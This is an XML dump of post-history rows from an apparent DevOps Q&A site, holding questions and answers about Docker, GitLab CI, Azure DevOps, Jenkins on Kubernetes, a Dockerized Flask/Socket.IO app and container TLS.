  <row Id="40554" PostHistoryTypeId="1" PostId="13174" RevisionGUID="04705422-2150-4b6d-bc9b-d0cdfce5bc37" CreationDate="2021-01-20T07:27:14.080" UserId="7646" Text="How to find future (planned) versions of Docker?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40555" PostHistoryTypeId="3" PostId="13174" RevisionGUID="04705422-2150-4b6d-bc9b-d0cdfce5bc37" CreationDate="2021-01-20T07:27:14.080" UserId="7646" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40556" PostHistoryTypeId="2" PostId="13175" RevisionGUID="c4825ae5-d0f1-4d23-bedb-8fae15b7ff77" CreationDate="2021-01-20T08:14:41.617" UserId="19083" Text="I didn't get what's wrong with [webhooks](https://developer.atlassian.com/server/jira/platform/webhooks/)&#xD;&#xA;You just create a webhook on Gitlab CI side and provide this URL to your Jira account.&#xD;&#xA;```&#xD;&#xA;https://gitlab.com/api/v4/projects/PROJECT_ID/ref/REF_NAME/trigger/pipeline?token=TOKEN&#xD;&#xA;```&#xD;&#xA;`PROJECT_ID` - unique project id on Gitlab&#xD;&#xA;&#xD;&#xA;`REF_NAME` - your `qa` / `stage` / `beta` branches within repository&#xD;&#xA;&#xD;&#xA;`TOKEN` - uniquely generated access token (gitlab provided)&#xD;&#xA;&#xD;&#xA;[Look here](https://docs.gitlab.com/ee/ci/triggers/) for more details how to trigger build on Gitlab via this call" ContentLicense="CC BY-SA 4.0" />
  <row Id="40558" PostHistoryTypeId="2" PostId="13176" RevisionGUID="24860296-a4a4-4695-a5d6-e01dff320cc6" CreationDate="2021-01-20T10:52:05.280" UserId="23546" Text="Manual intervention is not required for your Azure Devops organisation to be accessible to different developers accross the globe.&#xD;&#xA;&#xD;&#xA;The on-premises version of Azure Devops can be scaled with [multi-server deployments][1]. However it's common to only deploy these servers to a single datacenter.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.microsoft.com/en-us/azure/devops/server/requirements?view=azure-devops-2020#:~:text=Azure%20DevOps%20on%2Dpremises%20can,that%20use%20SQL%20Always%20On." ContentLicense="CC BY-SA 4.0" />
  <row Id="40559" PostHistoryTypeId="2" PostId="13177" RevisionGUID="4c2bb5ef-87e1-4824-ba00-48dc31de49d5" CreationDate="2021-01-20T11:55:05.827" UserId="25504" Text="Within Azure DevOps I am trying to create a Command Line Script which is pushing the actual DevOps Repo to GitLab. &#xD;&#xA;&#xD;&#xA;    git clone https://xxxx@dev.azure.com/xxxx/DBS/_git/xxx&#xD;&#xA;    git remote add --mirror=fetch secondary https://oauth2:%pat%@gitlab.com/username/gitlabrepo.git&#xD;&#xA;    git fetch origin&#xD;&#xA;    git push secondary --all&#xD;&#xA;&#xD;&#xA;In the env parameter %pat% I am referencing the Personal Access Token from GitLab. &#xD;&#xA;When running the pipeline with the Comman Line Script I am getting the following error:&#xD;&#xA;&#xD;&#xA;    start to push repo to gitlab&#xD;&#xA;    Cloning into 'gitlabrepo'...&#xD;&#xA;    remote: HTTP Basic: Access denied&#xD;&#xA;    fatal: Authentication failed for 'https://gitlab.com/***/gitlabrepo.git/'&#xD;&#xA;    ##[debug]Exit code: 128&#xD;&#xA;    ##[debug]Leaving Invoke-VstsTool.&#xD;&#xA;    ##[error]Cmd.exe exited with code '128'.&#xD;&#xA;&#xD;&#xA;How could be this achieved? " ContentLicense="CC BY-SA 4.0" />
  <row Id="40560" PostHistoryTypeId="1" PostId="13177" RevisionGUID="4c2bb5ef-87e1-4824-ba00-48dc31de49d5" CreationDate="2021-01-20T11:55:05.827" UserId="25504" Text="Azure DecOps push to GitLab" ContentLicense="CC BY-SA 4.0" />
  <row Id="40561" PostHistoryTypeId="3" PostId="13177" RevisionGUID="4c2bb5ef-87e1-4824-ba00-48dc31de49d5" CreationDate="2021-01-20T11:55:05.827" UserId="25504" Text="&lt;git&gt;&lt;azure-devops&gt;&lt;gitlab&gt;&lt;gitlab-ci-runner&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40562" PostHistoryTypeId="2" PostId="13178" RevisionGUID="bba1d7b2-96c5-4d9b-ada1-c64282678f97" CreationDate="2021-01-20T16:58:56.943" UserId="25706" Text="[This][1] project has a pipeline that runs integration tests against a spun up instance of Gitlab. Each Job in the integration test stage has its own instance testing different build distributions (es, cjs, original source). Unfortunately, the shared runners have limited resources and inconsistently cause these jobs to fail because the spun up GitLab instances have insufficient resources. This occurs more often when I have more than one instance spin up at a time since the jobs run in parallel.&#xD;&#xA;&#xD;&#xA;Here is a [test repo][2] showcasing the problem and it's [pipeline][3]&#xD;&#xA;&#xD;&#xA;Gitlab Support has suggested using a dedicated runner OR refactoring my pipeline. Since I'm trying to maintain a $0 cost for this open-source project, the only feasible suggestion (that I'm aware of) is the latter one.&#xD;&#xA;&#xD;&#xA;I've tested doing just this, specifically splitting these integration tests into separate stages to stop creating multiple GitLab instances at the same time. This, however, has not improved the results. The only other idea I can think of is running all the integration tests in the same script, instead of separate stages or jobs, which would only require spinning up one instance of GitLab. In this solution, I would have to add some sort of id's to the data being created in the tests to avoid having clashes (i.e., creating a project must use a unique name)&#xD;&#xA;&#xD;&#xA;What I want to figure out is if I'm overlooking something? Are there any better ways to improve the pipeline to avoid the resource bottlenecks causing the crashing?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://gitlab.com/jdalrymple/gitbeaker&#xD;&#xA;  [2]: https://gitlab.com/jdalrymple/gitlab-bug/&#xD;&#xA;  [3]: https://gitlab.com/jdalrymple/gitlab-bug/-/pipelines/243463960" ContentLicense="CC BY-SA 4.0" />
  <row Id="40563" PostHistoryTypeId="1" PostId="13178" RevisionGUID="bba1d7b2-96c5-4d9b-ada1-c64282678f97" CreationDate="2021-01-20T16:58:56.943" UserId="25706" Text="What would be the best way to improve this Gitlab CI/CD (Gitlab.com) pipeline's efficiency and consistency?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40564" PostHistoryTypeId="3" PostId="13178" RevisionGUID="bba1d7b2-96c5-4d9b-ada1-c64282678f97" CreationDate="2021-01-20T16:58:56.943" UserId="25706" Text="&lt;gitlab&gt;&lt;gitlab-ci-runner&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40565" PostHistoryTypeId="2" PostId="13179" RevisionGUID="c88808e0-7b3d-4761-9fbb-65a5b710f4ed" CreationDate="2021-01-20T16:59:31.733" UserId="12614" Text="I'm running a build in Jenkins which is running inside Kubernetes.&#xD;&#xA;&#xD;&#xA;When the job starts, a container starts in the cluster and the build runs inside it.&#xD;&#xA;&#xD;&#xA;A step in the build requires building an RPM using rpmbuild and for that matter I use [this docker image][1].&#xD;&#xA;&#xD;&#xA;So what happens is that when the job starts, it fires up a jenkins slave jnlp dind container with a volume mount of `/var/run/docker.sock:/var/run/docker.sock`, it then pulls the code from git and running a Makefile to build the code.&#xD;&#xA;&#xD;&#xA;When the build process finishes, I want to fire up another container (the one containing rpmbuild), so from within the jnlp dind container I run:&#xD;&#xA;&#xD;&#xA;    docker run -e WORKSPACE=/home/jenkins/agent/workspace/product-Provisioner-3.17 -e PROV_NAME=product-provisioner -v ${WORKSPACE}:/srv --privileged -t registry/rpmbuild:latest /usr/bin/rpmbuild -v -bb --clean --define '_workspace /srv' /srv/provisioner/SPECS/${PROV_NAME}.spec&#xD;&#xA;&#xD;&#xA;But for some reason the volume is not mounted and when I do `kubectl exec -it jnlp-container sh`, I see that the `/srv` directory doesn't contain the files in the ${WORKSPACE}.&#xD;&#xA;&#xD;&#xA;Running the rpmbuild container just with --help works so the docker inside docker inside docker works, just the volume isn't mounted properly.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;As far as I know, running a container from within another container should be doable.&#xD;&#xA;&#xD;&#xA;What could be the reason that `/srv` is not mounted properly?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://hub.docker.com/r/rpmbuild/centos7/" ContentLicense="CC BY-SA 4.0" />
  <row Id="40566" PostHistoryTypeId="1" PostId="13179" RevisionGUID="c88808e0-7b3d-4761-9fbb-65a5b710f4ed" CreationDate="2021-01-20T16:59:31.733" UserId="12614" Text="How to run a container from within another container?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40567" PostHistoryTypeId="3" PostId="13179" RevisionGUID="c88808e0-7b3d-4761-9fbb-65a5b710f4ed" CreationDate="2021-01-20T16:59:31.733" UserId="12614" Text="&lt;docker&gt;&lt;jenkins&gt;&lt;kubernetes&gt;&lt;kubernetes-volume&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40568" PostHistoryTypeId="2" PostId="13180" RevisionGUID="8438560c-9f48-4211-b88b-9ed1166877ac" CreationDate="2021-01-20T17:01:44.320" UserId="25720" Text="As the title of the questions asks, is it important/needed to have ssl/https working between docker containers on the same network?&#xD;&#xA;&#xD;&#xA;Our setup is an Nginx container that proxies two Tomcat containers.&#xD;&#xA;&#xD;&#xA;The Nginx container performs ssl termination for the internet cloud.&#xD;&#xA;&#xD;&#xA;Then the http request is forwarded to one of two tomcat instances in the same docker network.&#xD;&#xA;&#xD;&#xA;For security/safety should the communication between the Nginx container and the two Tomcat containers happen over ssl?&#xD;&#xA;&#xD;&#xA;Thank you for your time." ContentLicense="CC BY-SA 4.0" />
  <row Id="40569" PostHistoryTypeId="1" PostId="13180" RevisionGUID="8438560c-9f48-4211-b88b-9ed1166877ac" CreationDate="2021-01-20T17:01:44.320" UserId="25720" Text="Is SSL/HTTPS Needed Between Docker Containers on the Same Network?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40570" PostHistoryTypeId="3" PostId="13180" RevisionGUID="8438560c-9f48-4211-b88b-9ed1166877ac" CreationDate="2021-01-20T17:01:44.320" UserId="25720" Text="&lt;docker&gt;&lt;nginx&gt;&lt;ssl&gt;&lt;tomcat&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40571" PostHistoryTypeId="4" PostId="13179" RevisionGUID="d0f3d4d3-7158-4d3d-b447-1da6d17c009f" CreationDate="2021-01-20T17:06:44.503" UserId="12614" Comment="edited title" Text="How to run a container from within another container while also mounting a volume from the first container?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40572" PostHistoryTypeId="2" PostId="13181" RevisionGUID="683554b9-527c-47ac-99db-3b85f240377c" CreationDate="2021-01-20T17:13:41.920" UserId="6618" Text="I'll assume you're talking about Docker Engine for Linux.&#xD;&#xA;&#xD;&#xA;Docker doesn't plan releases like that currently. What they do is:&#xD;&#xA;&#xD;&#xA;Release major and minor versions on GitHub: https://github.com/moby/moby/releases&#xD;&#xA;&#xD;&#xA;Put release notes in their docs: https://docs.docker.com/engine/release-notes&#xD;&#xA;&#xD;&#xA;The version number is date based on the month they begin the release process, so the current version &quot;20.10&quot; started its release process in October, 2020 and was eventually released in December, 2020. The last major release before that was 19.03.&#xD;&#xA;&#xD;&#xA;Finally, you can see what they are working on (features) and what's next on their Roadmap https://github.com/docker/roadmap/projects/1" ContentLicense="CC BY-SA 4.0" />
  <row Id="40573" PostHistoryTypeId="5" PostId="12953" RevisionGUID="f591d58a-9939-4ba6-b847-92474c0de9b7" CreationDate="2021-01-20T21:05:33.117" UserId="23546" Comment="Formatting and grammar improvements." Text="Using [Azure devops][1] triggering a maven build where project has dependencies, I have installed the dependency using&#xD;&#xA;&#xD;&#xA;    mvn install:install-file -DgroupId=com.xxxx.xxxxx -DartifactId=xxxxx -Dversion=xxxxx -Dpackaging=jar -Dfile=xxxxxx -DgeneratePom=true. Maven repo is locally in &quot;C:\users\userid.m2\repository&quot;&#xD;&#xA;&#xD;&#xA;For the azure devops agent the maven repo location is `&quot;C:\windows\system32\config\systemprofile.m2\repository&quot;` like this I have 7 project dependencies and installed all the dependencies for the project. when I run &quot;mvn clean install&quot; in the agent locally the build is successful but when i try trigger it through azure devops I get the error project dependencies couldn't be resolved.&#xD;&#xA;&#xD;&#xA;How can I run Maven clean install from Azure Devops?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.opstrainerz.com/azure-devops-training" ContentLicense="CC BY-SA 4.0" />
  <row Id="40574" PostHistoryTypeId="4" PostId="12953" RevisionGUID="f591d58a-9939-4ba6-b847-92474c0de9b7" CreationDate="2021-01-20T21:05:33.117" UserId="23546" Comment="Formatting and grammar improvements." Text="Azure Devops agent Maven dependencies" ContentLicense="CC BY-SA 4.0" />
  <row Id="40575" PostHistoryTypeId="24" PostId="12953" RevisionGUID="f591d58a-9939-4ba6-b847-92474c0de9b7" CreationDate="2021-01-20T21:05:33.117" Comment="Proposed by 23546 approved by 40 edit id of 1326" ContentLicense="CC BY-SA 4.0" />
  <row Id="40578" PostHistoryTypeId="2" PostId="13182" RevisionGUID="69523cce-c29f-43bf-90ac-d324855b1eb5" CreationDate="2021-01-20T21:31:09.117" UserId="25722" Text="I have a Web App built in Flask where tweets are captured (using Tweepy library) and displayed on the front-end. I used Socket IO to display the tweets live on the front-end.&#xD;&#xA;&#xD;&#xA;My code works fine when I run this locally. The tweets appear instantly.&#xD;&#xA;&#xD;&#xA;However, when i Dockerized the web app, the front-end doesn't update immediately. It takes some time to show the changes (sometimes I think tweets are lost due to the slowness)&#xD;&#xA;&#xD;&#xA;Below are code extracts from my website:&#xD;&#xA;&#xD;&#xA;**fortsocket.js**&#xD;&#xA;&#xD;&#xA;    $(document).ready(function () {&#xD;&#xA;&#xD;&#xA;  &#xD;&#xA;&#xD;&#xA;    /************************************/&#xD;&#xA;      /*********** My Functions ***********/&#xD;&#xA;      /************************************/&#xD;&#xA;      function stream_active_setup() {&#xD;&#xA;        $(&quot;#favicon&quot;).attr(&quot;href&quot;, &quot;/static/icons/fortnite-active.png&quot;);&#xD;&#xA;        $(&quot;#stream-status-ic&quot;).attr(&quot;src&quot;, &quot;/static/icons/stream-active.png&quot;);&#xD;&#xA;        $(&quot;#stream-status-text&quot;).text(&quot;Live stream active&quot;);&#xD;&#xA;      }&#xD;&#xA;    &#xD;&#xA;      function stream_inactive_setup() {&#xD;&#xA;        $(&quot;#favicon&quot;).attr(&quot;href&quot;, &quot;/static/icons/fortnite-inactive.png&quot;);&#xD;&#xA;        $(&quot;#stream-status-ic&quot;).attr(&quot;src&quot;, &quot;/static/icons/stream-inactive.png&quot;);&#xD;&#xA;        $(&quot;#stream-status-text&quot;).text(&quot;Live stream inactive&quot;);&#xD;&#xA;      }&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;      /*********************************/&#xD;&#xA;      /*********** My Events ***********/&#xD;&#xA;      /*********************************/&#xD;&#xA;    &#xD;&#xA;      // Socket connection to server&#xD;&#xA;    &#xD;&#xA;      // Prometheus&#xD;&#xA;      //var socket = io.connect('http://104.131.173.145:8083');&#xD;&#xA;    &#xD;&#xA;      // Local&#xD;&#xA;      var socket = io.connect(window.location.protocol + '//' + document.domain + ':' + location.port);&#xD;&#xA;    &#xD;&#xA;      // Heroku&#xD;&#xA;      //var socket = io.connect('https://fortweet.herokuapp.com/');&#xD;&#xA;    &#xD;&#xA;      // Send a hello to know&#xD;&#xA;      // if a stream is already active&#xD;&#xA;      socket.on('connect', () =&gt; {&#xD;&#xA;        socket.emit('hello-stream', 'hello-stream');&#xD;&#xA;      });&#xD;&#xA;    &#xD;&#xA;      // Listene for reply from hello&#xD;&#xA;      socket.on('hello-reply', function (bool) {&#xD;&#xA;        if (bool == true) {&#xD;&#xA;          stream_active_setup()&#xD;&#xA;        } else {&#xD;&#xA;          stream_inactive_setup()&#xD;&#xA;        }&#xD;&#xA;      });&#xD;&#xA;    &#xD;&#xA;      // Listens for tweets&#xD;&#xA;      socket.on('stream-results', function (results) {&#xD;&#xA;    &#xD;&#xA;        // Insert tweets in divs&#xD;&#xA;        $('#live-tweet-container').prepend(`&#xD;&#xA;        &lt;div class=&quot;row justify-content-md-center mt-3&quot;&gt;&#xD;&#xA;          &lt;div class=&quot;col-md-2&quot;&gt;&#xD;&#xA;              &lt;img width=&quot;56px&quot; height=&quot;56px&quot;  src=&quot;${results.profile_pic !== &quot;&quot; ? results.profile_pic : &quot;/static/icons/profile-pic.png&quot;}&quot; class=&quot;mx-auto d-block rounded&quot;  alt=&quot;&quot;&gt;&#xD;&#xA;          &lt;/div&gt;&#xD;&#xA;          &lt;div class=&quot;col-md-8 my-auto&quot;&gt;&#xD;&#xA;            &lt;div&gt;&lt;b&gt;${results.author}&lt;/b&gt;&lt;/div&gt;&#xD;&#xA;            &lt;div&gt;${results.message}&lt;/div&gt;&#xD;&#xA;          &lt;/div&gt;&#xD;&#xA;        &lt;/div&gt;&#xD;&#xA;        `);&#xD;&#xA;      });&#xD;&#xA;    &#xD;&#xA;      // Listener for when a stream of tweets starts&#xD;&#xA;      socket.on('stream-started', function (bool) {&#xD;&#xA;        if (bool == true) {&#xD;&#xA;          stream_active_setup()&#xD;&#xA;        }&#xD;&#xA;      });&#xD;&#xA;    &#xD;&#xA;      // Listener for when a stream of tweets ends&#xD;&#xA;      socket.on('stream-ended', function (bool) {&#xD;&#xA;        if (bool == true) {&#xD;&#xA;          stream_inactive_setup()&#xD;&#xA;        }&#xD;&#xA;      });&#xD;&#xA;    &#xD;&#xA;    });&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**__init__.py**&#xD;&#xA;&#xD;&#xA;    # Create the app&#xD;&#xA;    app = create_app()&#xD;&#xA;    &#xD;&#xA;    # JWT Configurations&#xD;&#xA;    jwt = JWTManager(app)&#xD;&#xA;    &#xD;&#xA;    # Socket IO&#xD;&#xA;    socketio = SocketIO(app, cors_allowed_origins=&quot;*&quot;)&#xD;&#xA;    &#xD;&#xA;    # CORS&#xD;&#xA;    CORS(app)&#xD;&#xA;    app.config[&quot;CORS_HEADERS&quot;] = &quot;Content-Type&quot;&#xD;&#xA;    &#xD;&#xA;    # Creates default admins and insert in db&#xD;&#xA;    create_default_admin()&#xD;&#xA;    &#xD;&#xA;    # Main error handlers&#xD;&#xA;    @app.errorhandler(404)  # Handling HTTP 404 NOT FOUND&#xD;&#xA;    def page_not_found(e):&#xD;&#xA;        return Err.ERROR_NOT_FOUND&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    # Listen for hello emit data&#xD;&#xA;    # from client&#xD;&#xA;    @socketio.on(&quot;hello-stream&quot;)&#xD;&#xA;    def is_stream_active(hello_stream):&#xD;&#xA;        emit(&quot;hello-reply&quot;, streamer.StreamerInit.is_stream_active(), broadcast=True)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**streamer.py**&#xD;&#xA;&#xD;&#xA;    import time&#xD;&#xA;    import tweepy&#xD;&#xA;    import threading as Coroutine&#xD;&#xA;    import app.messages.constants as Const&#xD;&#xA;    import app.setup.settings as settings_mod&#xD;&#xA;    import app.models.tweet as tweet_mod&#xD;&#xA;    import app.services.logger as logger&#xD;&#xA;    import app&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    class FStreamListener(tweepy.StreamListener):&#xD;&#xA;        def __init__(self):&#xD;&#xA;            self.start_time = time.time()&#xD;&#xA;            self.limit = settings_mod.TwitterSettings.get_instance().stream_time&#xD;&#xA;    &#xD;&#xA;            logger.get_logger().debug(&quot;Live capture has started&quot;)&#xD;&#xA;    &#xD;&#xA;            # Notify client that a live capture will start&#xD;&#xA;            app.socketio.emit(&#xD;&#xA;                &quot;stream-started&quot;, True, broadcast=True,&#xD;&#xA;            )&#xD;&#xA;    &#xD;&#xA;            super(FStreamListener, self).__init__()&#xD;&#xA;    &#xD;&#xA;        def on_status(self, status):&#xD;&#xA;            if (time.time() - self.start_time) &lt; self.limit:&#xD;&#xA;    &#xD;&#xA;                # Create tweet object&#xD;&#xA;                forttweet = tweet_mod.TweetModel(&#xD;&#xA;                    status.source,&#xD;&#xA;                    status.user.name,&#xD;&#xA;                    status.user.profile_background_image_url_https,&#xD;&#xA;                    status.text,&#xD;&#xA;                    status.created_at,&#xD;&#xA;                    status.user.location,&#xD;&#xA;                )&#xD;&#xA;    &#xD;&#xA;                # Emit to socket&#xD;&#xA;                app.socketio.emit(&#xD;&#xA;                    &quot;stream-results&quot;,&#xD;&#xA;                    {&#xD;&#xA;                        &quot;profile_pic&quot;: forttweet.profile_pic,&#xD;&#xA;                        &quot;author&quot;: forttweet.author,&#xD;&#xA;                        &quot;message&quot;: forttweet.message,&#xD;&#xA;                    },&#xD;&#xA;                    broadcast=True,&#xD;&#xA;                )&#xD;&#xA;    &#xD;&#xA;                # Add to database&#xD;&#xA;                forttweet.insert()&#xD;&#xA;    &#xD;&#xA;                return True&#xD;&#xA;            else:&#xD;&#xA;                logger.get_logger().debug(&quot;Live capture has ended&quot;)&#xD;&#xA;    &#xD;&#xA;                # Notify client that a live capture has ended&#xD;&#xA;                app.socketio.emit(&#xD;&#xA;                    &quot;stream-ended&quot;, True, broadcast=True,&#xD;&#xA;                )&#xD;&#xA;    &#xD;&#xA;                # Stop the loop of streaming&#xD;&#xA;                return False&#xD;&#xA;    &#xD;&#xA;        def on_error(self, status):&#xD;&#xA;            logger.get_logger().debug(f&quot;An error occurred while fetching tweets: {status}&quot;)&#xD;&#xA;            raise Exception(f&quot;An error occurred while fetching tweets: {status}&quot;)&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    class StreamerInit:&#xD;&#xA;&#xD;&#xA;    # [Private] Twitter configurations&#xD;&#xA;    def __twitterInstantiation(self):&#xD;&#xA;        # Get settings instance&#xD;&#xA;        settings = settings_mod.TwitterSettings.get_instance()&#xD;&#xA;        # Auths&#xD;&#xA;        auth = tweepy.OAuthHandler(settings.consumer_key, settings.consumer_secret,)&#xD;&#xA;        auth.set_access_token(&#xD;&#xA;            settings.access_token, settings.access_token_secret,&#xD;&#xA;        )&#xD;&#xA;        # Get API&#xD;&#xA;        api = tweepy.API(auth)&#xD;&#xA;        # Live Tweets Streaming&#xD;&#xA;        myStreamListener = FStreamListener()&#xD;&#xA;        myStream = tweepy.Stream(auth=api.auth, listener=myStreamListener)&#xD;&#xA;        myStream.filter(track=settings.filters)&#xD;&#xA;    &#xD;&#xA;    def start(self):&#xD;&#xA;        for coro in Coroutine.enumerate():&#xD;&#xA;            if coro.name == Const.FLAG_TWEETS_LIVE_CAPTURE:&#xD;&#xA;                return False&#xD;&#xA;    &#xD;&#xA;        stream = Coroutine.Thread(target=self.__twitterInstantiation)&#xD;&#xA;        stream.setName(Const.FLAG_TWEETS_LIVE_CAPTURE)&#xD;&#xA;        stream.start()&#xD;&#xA;    &#xD;&#xA;        return True&#xD;&#xA;    &#xD;&#xA;    @staticmethod&#xD;&#xA;    def is_stream_active():&#xD;&#xA;        for coro in Coroutine.enumerate():&#xD;&#xA;            if coro.name == Const.FLAG_TWEETS_LIVE_CAPTURE:&#xD;&#xA;                return True&#xD;&#xA;    &#xD;&#xA;        return False&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**The streamer.py is called on a button click**&#xD;&#xA;&#xD;&#xA;**Dockerfile**&#xD;&#xA;&#xD;&#xA;    # Using python 3.7 in Alpine&#xD;&#xA;    FROM python:3.6.5-stretch&#xD;&#xA;    &#xD;&#xA;    # Set the working directory to /app&#xD;&#xA;    WORKDIR /app&#xD;&#xA;    &#xD;&#xA;    # Copy the current directory contents into the container at /app&#xD;&#xA;    ADD . /app&#xD;&#xA;    &#xD;&#xA;    RUN apt-get update -y &amp;&amp; apt-get upgrade -y &amp;&amp; pip install -r requirements.txt&#xD;&#xA;    &#xD;&#xA;    # Run the command&#xD;&#xA;    ENTRYPOINT [&quot;uwsgi&quot;, &quot;app.ini&quot;]&#xD;&#xA;    &#xD;&#xA;    #ENTRYPOINT [&quot;./entry.sh&quot;]&#xD;&#xA;&#xD;&#xA;**docker-compose.yml**&#xD;&#xA;&#xD;&#xA;    version: &quot;3.8&quot;&#xD;&#xA;&#xD;&#xA;    services:&#xD;&#xA;      fortweet:&#xD;&#xA;        container_name: fortweet&#xD;&#xA;        image: mervin16/fortweet:dev&#xD;&#xA;        build: ./&#xD;&#xA;        env_file:&#xD;&#xA;          - secret.env&#xD;&#xA;        networks:&#xD;&#xA;          plutusnet:&#xD;&#xA;            ipv4_address: 172.16.0.10&#xD;&#xA;        expose:&#xD;&#xA;          - 8083&#xD;&#xA;        restart: always&#xD;&#xA;    &#xD;&#xA;      nginx_fortweet:&#xD;&#xA;        image: nginx&#xD;&#xA;        container_name: nginx_fortweet&#xD;&#xA;        ports:&#xD;&#xA;          - &quot;8083:80&quot;&#xD;&#xA;        networks:&#xD;&#xA;          plutusnet:&#xD;&#xA;            ipv4_address: 172.16.0.100&#xD;&#xA;        volumes:&#xD;&#xA;          - ./nginx/nginx.conf:/etc/nginx/conf.d/default.conf&#xD;&#xA;        depends_on:&#xD;&#xA;          - fortweet&#xD;&#xA;        restart: always&#xD;&#xA;    &#xD;&#xA;    networks:&#xD;&#xA;      plutusnet:&#xD;&#xA;        name: plutus_network&#xD;&#xA;        driver: bridge&#xD;&#xA;        ipam:&#xD;&#xA;          driver: default&#xD;&#xA;          config:&#xD;&#xA;            - subnet: 172.16.0.0/24&#xD;&#xA;              gateway: 172.16.0.1&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**app.ini**&#xD;&#xA;&#xD;&#xA;    [uwsgi]&#xD;&#xA;&#xD;&#xA;    wsgi-file = run.py&#xD;&#xA;    callable = app&#xD;&#xA;    socket = :8083&#xD;&#xA;    processes = 4&#xD;&#xA;    threads = 2&#xD;&#xA;    master = true&#xD;&#xA;    chmod-socket = 660&#xD;&#xA;    http-websockets = true&#xD;&#xA;    vacuum = true&#xD;&#xA;    die-on-term = true&#xD;&#xA;&#xD;&#xA;For a full, updated code, you can find it [here](https://github.com/mervin16/Fortweet) under the branch ```dev/mervin```&#xD;&#xA;&#xD;&#xA;Any help is appreciated." ContentLicense="CC BY-SA 4.0" />
  <row Id="40579" PostHistoryTypeId="1" PostId="13182" RevisionGUID="69523cce-c29f-43bf-90ac-d324855b1eb5" CreationDate="2021-01-20T21:31:09.117" UserId="25722" Text="Slow Socket IO response when using Docker" ContentLicense="CC BY-SA 4.0" />
  <row Id="40580" PostHistoryTypeId="3" PostId="13182" RevisionGUID="69523cce-c29f-43bf-90ac-d324855b1eb5" CreationDate="2021-01-20T21:31:09.117" UserId="25722" Text="&lt;docker&gt;&lt;python&gt;&lt;flask&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40584" PostHistoryTypeId="5" PostId="12792" RevisionGUID="485b1f4c-ed42-4762-968b-0556798e10fa" CreationDate="2021-01-21T07:31:13.180" UserId="23546" Comment="Clarified the question to make it clearer." Text="We have a project in Azure devops where we usually create PBIS and break them down to tasks.&#xD;&#xA;Each task is assigned to a Person at the beginning of a sprint. &#xD;&#xA;&#xD;&#xA;When looking at the &quot;work details&quot; pane inside a sprint, you can see the amount of hours assigned per person.&#xD;&#xA;&#xD;&#xA;Let's consider this scenario:&#xD;&#xA;Person A has 5 tasks. Each task is estimated to 2 hours.&#xD;&#xA;Person B has 5 tasks. Each task is estimated to 2 hours.&#xD;&#xA;&#xD;&#xA;Person A needs help from Person B on one of the tasks. &#xD;&#xA;Person B helps Person A, they are now done and complete the task in devops.&#xD;&#xA;They fill 4 hours on completed work instead of 2 since they were 2 people working ont he task.&#xD;&#xA;&#xD;&#xA;Now from a statistics view, those 2 extra hours are now connected to Person A, and it looks like if it was Person A that put those hours. &#xD;&#xA;&#xD;&#xA;If multiple people are working on a single task inside a sprint, how can we track the amount of time each person spent on the task individually?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40585" PostHistoryTypeId="24" PostId="12792" RevisionGUID="485b1f4c-ed42-4762-968b-0556798e10fa" CreationDate="2021-01-21T07:31:13.180" Comment="Proposed by 23546 approved by 24792 edit id of 1327" ContentLicense="CC BY-SA 4.0" />
  <row Id="40586" PostHistoryTypeId="2" PostId="13184" RevisionGUID="6284fe2f-a211-4c1b-ab80-eaa3672f5d2b" CreationDate="2021-01-21T09:08:04.780" UserId="707" Text="Given you are going to overcome risks of a whole cloud region going offline, you would implement some cross-site distribution mechanisms.&#xD;&#xA;&#xD;&#xA;In terms of Kubernetes, cluster communication would happen across public network.&#xD;&#xA;&#xD;&#xA;Therefore, probably, you need to setup end to end VPN connections?&#xD;&#xA;&#xD;&#xA;Does this all make sense or how do you approach the problem?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40587" PostHistoryTypeId="1" PostId="13184" RevisionGUID="6284fe2f-a211-4c1b-ab80-eaa3672f5d2b" CreationDate="2021-01-21T09:08:04.780" UserId="707" Text="Is cross-region Kubernetes a thing and if yes, which role does play VPN in this context?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40588" PostHistoryTypeId="3" PostId="13184" RevisionGUID="6284fe2f-a211-4c1b-ab80-eaa3672f5d2b" CreationDate="2021-01-21T09:08:04.780" UserId="707" Text="&lt;kubernetes&gt;&lt;sre&gt;&lt;vpn&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40589" PostHistoryTypeId="2" PostId="13185" RevisionGUID="51c859ca-6c03-489a-9675-bfb9368e2e62" CreationDate="2021-01-21T10:00:01.283" UserId="25529" Text="Generally - no, I don't think you need TLS between your reverse proxy and service containers within same Docker network (or possibly 2 Docker networks: 1 internal for workers, 1 with internet access where reverse proxy sits and bridges the gap into internal network).&#xD;&#xA;&#xD;&#xA;A wider answer would primarily depend on whether you trust your Docker host and services on it. Then consider how containers address each other, do they need to leave docker network (like public name resolution) at any time. And what you'd be looking for from TLS: identity verification or transport encryption. Each of those considerations would have some caveats." ContentLicense="CC BY-SA 4.0" />
